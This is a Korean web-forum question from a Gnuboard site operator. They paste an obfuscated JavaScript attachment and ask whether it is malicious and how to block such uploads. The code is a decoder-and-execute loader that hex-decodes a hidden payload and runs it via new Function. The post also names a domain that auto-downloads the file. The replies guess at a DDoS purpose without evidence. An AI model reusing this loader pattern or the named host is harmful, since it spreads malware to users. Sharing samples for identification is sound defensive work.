자바스크립트 코드 해석 문의드립니다.
본문
제가 운영중인 홈페이지의
그누보드기반 게시판 첨부파일로
.js 확장자 파일이 올라왔길래 실행하지 않고 소스열어보니 이상한 코드들이 있었습니다.
일단 게시물 내용과 첨부파일이 일치하지 않아
해당 게시자는 접속금지 처리하였습니다.
저는 자바스크립트인데 문외한인데
악성코드인지 아니면 다른목적의 첨부파일인지 몰라서
혹시 아래 코드가 어떤 목적의 js 파일인지 여쭤볼 수 있을까요?
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function yfawztqkphiqw(npyzwmwe)
{
return(new Function(npyzwmwe)());
}
function tfzxldzvzypsb(min, max)
{
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function iocmdilovpx(hjreeiop)
{
var hioars = hjreeiop.toString(); var npyzwmwe = "";
for (var i = 0; i < hioars.length; i += 2) npyzwmwe += String.fromCharCode(parseInt(hioars.substr(i, 2), 16)); return npyzwmwe;
}
while (true)
{
var ikcjofjmiuj = tfzxldzvzypsb(0,110);
var uhiqrgclnvwmn = iocmdilovpx(ewcabycxlo.replace(/z/g,ikcjofjmiuj));
if (uhiqrgclnvwmn.indexOf("function") !== -1)
{
yfawztqkphiqw(uhiqrgclnvwmn); break;
}
}
참고로 해당 게시자는 keceden.com/doc.php 주소도 링크하였는데
해당 사이트 접속하면 위의 js파일이 자동 다운로드 됩니다.
번외질문으로 만일 악성코드라면 해당 코드가 있을경우
그누보드에서 원천적으로 파일업로드를 막을 수는 있을까요?
답변 2
사이트 공격으로 보입니다.
특별히 언급되는건 없는거 같은데 파일 업로드 막는건 아예 게시판에 기능을 꺼버리면 되겠죠
그게 아니면 파일 업로드시 확장자를 바꿔서 넣는 방법이나 기타 보안 코드가 들어가야 되는데 아무래도 일이 많겠죠 ^^
찾아보니까 javascript 기반의 DDOS 공격용이 아닌가 싶습니다.
해당 파일을 실행하는 순간 DDOS 의 좀비가 되는 그런....
확실하지는 않지만 js 파일만 막을수 없다면 그냥 전부다 막으시는게 좋겠습니다.
두렵네요 실행시키기.... 별 이상한건 아닌거 같긴한데.. 코드 복사해서 실행시키기 직전에 지웠습니다. ㅎㅎ
답변을 작성하시기 전에 로그인 해주세요.
